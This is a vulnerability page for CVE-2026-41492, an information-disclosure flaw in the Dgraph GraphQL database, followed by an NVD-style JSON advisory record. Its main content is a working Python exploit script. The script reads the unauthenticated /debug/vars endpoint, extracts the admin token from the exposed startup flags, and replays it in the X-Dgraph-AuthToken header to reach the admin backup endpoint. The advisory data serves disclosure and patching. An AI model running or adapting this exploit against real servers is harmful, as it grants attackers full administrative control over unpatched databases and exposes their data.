CVE-2026-41492

import requests import json target = "http://127.0.0.1:8080" def exploit(): print(f"[*] Targeting: {target}") # Step 1: Access the unauthenticated /debug/vars endpoint url_vars = f"{target}/debug/vars" try: resp = requests.get(url_vars, timeout=5) if resp.status_code != 200: print(f"[-] Failed to access /debug/vars: {resp.status_code}") return except Exception as e: print(f"[-] Connection error: {e}") return print("[+] Successfully retrieved /debug/vars") # Step 2: Parse the response to find the admin token # The token is passed via startup flag, e.g., --security "token=SECRET" try: data = resp.json() content_str = json.dumps(data) token = None search_pattern = "token=" if search_pattern in content_str: parts = content_str.split(search_pattern) if len(parts) > 1: token = parts[1].split('"')[0].split(' ')[0] if token: print(f"[+] Admin Token extracted: {token}") else: print("[-] Admin token not found in response.") return except ValueError: print("[-] Failed to parse JSON response.") return # Step 3: Replay the token to gain admin access print("[*] Attempting to access admin endpoint with token...") admin_headers = { "X-Dgraph-AuthToken": token } # Example request to an admin-only endpoint url_admin = f"{target}/admin/backup" admin_resp = requests.get(url_admin, headers=admin_headers) if admin_resp.status_code == 200: print("[+] Success! Admin access granted.") else: print(f"[-] Failed to access admin endpoint. Status: {admin_resp.status_code}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-41492", "sourceIdentifier": "[email protected]", "published": "2026-04-24T19:17:14.047", "lastModified": "2026-04-28T18:28:30.287", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dgraph is an open source distributed GraphQL database. Prior to 25.3.3, Dgraphl exposes the process command line through the unauthenticated /debug/vars endpoint on Alpha. Because the admin token is commonly supplied via the --security \"token=...\" startup flag, an unauthenticated attacker can retrieve that token and replay it in the X-Dgraph-AuthToken header to access admin-only endpoints. This is a variant of the previously fixed /debug/pprof/cmdline issue, but the current fix is incomplete because it blocks only /debug/pprof/cmdline and still serves http.DefaultServeMux, which includes expvar's /debug/vars handler. This vulnerability is fixed in 25.3.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dgraph:dgraph:*:*:*:*:*:go:*:*", "versionEndExcluding": "25.3.3", "matchCriteriaId": "03E6E13D-4051-49C6-BDFB-3B66E2002401"}]}]}], "references": [{"url": "https://github.com/dgraph-io/dgraph/releases/tag/v25.3.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-vvf7-6rmr-m29q", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-vvf7-6rmr-m29q", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}